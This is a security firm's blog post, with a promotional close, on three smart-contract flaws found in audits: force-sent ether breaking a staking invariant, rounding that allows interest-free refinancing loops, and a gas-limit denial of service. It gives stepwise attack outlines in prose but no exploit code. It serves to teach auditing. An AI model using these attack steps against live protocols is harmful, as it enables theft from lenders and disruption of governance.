DEV Community

Erick Fernandez for Extropy.IO

Posted on • Originally published at security.extropy.io

The 3 Most Subtle Solidity Bugs We Found in Audits (And How We Found Them)

(This is the first article in our three-part series on protocol security.)

Introduction: Why Manual Review Will Always Be Non-Negotiable

In smart contract auditing, automated tools like Slither or Aderyn are an essential first line of defence. They are excellent at finding known anti-patterns: re-entrancy, incorrect visibility, or known unsafe operations.

However, the most catastrophic vulnerabilities—the ones that automated tools cannot find—are almost always flaws in the protocol's unique business logic. These are bugs that arise not from a single bad line of code, but from a "correct" implementation of a flawed assumption.

Finding these requires an expert, adversarial, and creative manual review process. You must understand what the code intends to do, and then find a way to break that intention.

This article shares three real, subtle, and high-impact vulnerabilities our team discovered during recent EVM audits. They are case studies in why expert, manual review is the most critical part of any serious audit.


Bug #1: The "Poisoned" Invariant - An Accounting System Broken by 1 Gwei

Protocol Type: Liquid Staking Protocol
Vulnerability: [HIGH] Code Invariant Can Be Broken

The Context

We were auditing a liquid staking protocol where users would deposit TKN into a Vault contract and receive a liquid-staked token, sTKN, in return. The protocol's entire accounting system was built on one fundamental, "golden" invariant:

The total sTKN tokens minted (the totalSupply) MUST always equal the total shares held by the sTKN token contract inside the Vault.

This invariant was used in core functions to calculate the value of sTKN and ensure every user could redeem their tokens for the correct, proportional amount of the underlying TKN.

The Bug: A Subtle Logic Flaw

Our team found that this core invariant could be permanently broken. The attack vector was not a complex exploit, but a little-known property of the EVM: force-sending Ether via selfdestruct.

A malicious actor could deploy a simple contract, fund it with 1 gwei, and then call selfdestruct, specifying the Vault contract as the recipient.

Because this is a "force-send," it bypasses the Vault's normal receive() or deposit() functions. The Vault's address(this).balance simply increases by 1 gwei, with no corresponding update to its internal share-tracking logic.

The Chain Reaction

This 1 gwei of "dust" would sit in the contract until the next time an oracle called the rebalance() function. This function was responsible for calculating protocol rewards. It would see this extra 1 gwei, which was not associated with any deposit, and (incorrectly) account for it as a "reward".

This small "reward" poisoned the internal accounting. The next time a legitimate user deposited TKN, the internal _toShares() calculation would be based on a now-tainted pool value. This would result in the user receiving a slightly incorrect number of shares for their deposit.

The result: the "golden" invariant was broken. The sTKN.totalSupply() was no longer equal to stakingVault.sharesOf(address(sTKNToken)).

Why Automated Tools Fail (And Why Experts Succeed)

An automated tool would not find this. It would see a rebalance() function and _toShares() calculations that are mathematically correct. It cannot "understand" the high-level business assumption that address(this).balance should only ever increase via a deposit() call.

This is a classic example of where expert manual review is critical. Our auditors had to:

  1. Identify the core, un-written assumption (the invariant).
  2. Theorise ways to break it.
  3. Identify the non-obvious selfdestruct vector as a method to "poison" the contract's state.
  4. Write a specific Proof-of-Concept (PoC) test to prove the invariant could be broken.

The Fix: The client acknowledged the finding and updated their logic to use the Vault's internal totalShares() for calculations, which could not be poisoned by external, force-sent funds.


Bug #2: The "Perpetual Interest-Free Loan" - A Business Logic Flaw

Protocol Type: P2P Lending Protocol
Vulnerability: [LOW] Borrower can avoid paying loan interests if ‘loan.fixedInterestAmount‘ is zero

The Context

We were auditing a P2P lending contract where borrowers could take out loans with two types of interest: a fixedInterestAmount set at the start, and a variable accruingInterestAPR that grew over time. A function called AccrueInterest was responsible for calculating the total interest due when a loan was repaid or refinanced.

The Bug: An Integer Division Exploit

The logic appeared sound: the function calculated the accruedInterest based on the time elapsed (in minutes) and added it to the fixedInterestAmount.

However, the variable interest calculation used Math.mulDiv with a very large denominator (5.256e12) to normalise the annual rate to a per-minute rate.

Our team spotted a subtle but critical business logic flaw:

  1. A borrower could create a loan with fixedInterestAmount = 0.
  2. Because of the large denominator, the accruedInterest (the numerator) would be smaller than the denominator for a significant period (e.g., the first 50 minutes of the loan).
  3. Due to integer division, any calculation where the numerator is smaller than the denominator rounds down to 0.

This created a 50-minute window where the AccrueInterest function would legally and "correctly" return 0 + 0 = 0 interest.

The Attack Vector

This wasn't just a minor rounding error; it was a blueprint for an attack. A malicious bot could be built to:

  1. Take out a large loan with fixedInterestAmount = 0.
  2. Wait 49 minutes.
  3. Call the refLoan() function to refinance the loan.
  4. The protocol would calculate the interest due (0), add it, and start a new loan.
  5. Repeat this process indefinitely.

The bot could hold a loan for months, paying zero interest, simply by refinancing it every 49 minutes. This was a direct, permanent, and free-money exploit against the protocol's lenders.

Why Automated Tools Fail (And Why Experts Succeed)

An automated tool is excellent at checking math, but it cannot understand finance. It would see the Math.mulDiv calculation and confirm it is "safe" (i.e., it doesn't overflow or underflow).

It cannot, however, understand the business context that a "0 interest" result for 50 minutes is a critical failure of the protocol's entire economic model.

This is a classic business logic flaw found only through expert manual review. Our process is not just "is the code safe?" but "can the code's intent be abused?" This mindset is what allowed us to find a vulnerability that was hiding in plain sight.


Bug #3: The "Gas-Limit DoS" - Using a view Function as a Weapon

Protocol Type: DAO Voting / Staking Protocol
Vulnerability: [MEDIUM] Staker Power Calculation Denial Of Service Attack

The Context

We were auditing a DAO's governance system where users staked tokens to get voting power. To make the system work, a view function called stakerPowerAt() was used to calculate a user's voting power at a specific time. This function worked by looping through all of a user's individual "stakes" to add them up. Since it was a view function, it was "free" to call from off-chain services (like a UI) and was considered "safe."

The Bug: A Flaw in Economic Assumptions

The protocol's logic assumed that a user would have a reasonable number of stakes. Our team identified that this assumption could be weaponised.

A malicious user could intentionally create thousands of tiny, individual stakes for a single address. The attack isn't complex:

  1. The Attacker: Spends gas to create thousands of small stakes for a target address.
  2. The view Function: The stakerPowerAt() function's for loop now has to iterate thousands of times.
  3. The DoS: While a view function is free for the caller, it is not free for the node that has to execute it. Every node (like Infura or Alchemy) has a hard-coded gas limit for eth_call requests. The attacker's "dust" stakes would force the loop to consume so much gas that it always exceeded this RPC-node gas limit.

The result: the stakerPowerAt() function—which was essential for the voting system to work—would become permanently unusable for that staker, causing a Denial of Service for critical protocol functions.

Why Automated Tools Fail (And Why Experts Succeed)

An automated tool cannot understand this economic context. It doesn't know why this loop is a DoS vector. It took manual, expert review to:

  1. Identify that this specific loop was not just "inefficient" but mission-critical.
  2. Analyse the "attacker's cost" (gas to create the stakes) versus the "damage" (breaking the voting system).
  3. Recognise that view functions are a common blind spot for developers who only think about transaction gas, not RPC node gas limits.

This highlights our holistic approach: we don't just audit for theft; we audit for availability, economic incentives, and gas-limit exploits.


Conclusion: You Don't Find What You Don't Look For

Automated tools are a commodity. They check for what's known.

Our audit process is designed to find what is novel. We find the subtle flaws in your unique business logic, the financial loopholes in your economic model, and the adversarial assumptions that haven't been tested.

This combination of deep, manual review, a clear understanding of financial incentives, and proprietary tooling forms the core of our audit process. We find what standard tools miss.

In our next article, "Beyond the Code," we explore the expert, human-led methodology that allows our team to find these vulnerabilities.


If your protocol is preparing for launch, don't just check for known bugs. Contact us for an audit that uncovers the unknown.

Request an Audit Consultationor visit Extropy Audits

Originally published on: security.extropy.io

Top comments (1)

Collapse
 
sriblanda profile image
Sri Blanda

This breakdown feels especially timely after the recent Somnium staking bug disclosure, where a subtle accounting edge case slipped past automated tools. Your examples really show how economic assumptions, not just code patterns, are what need human threat modeling.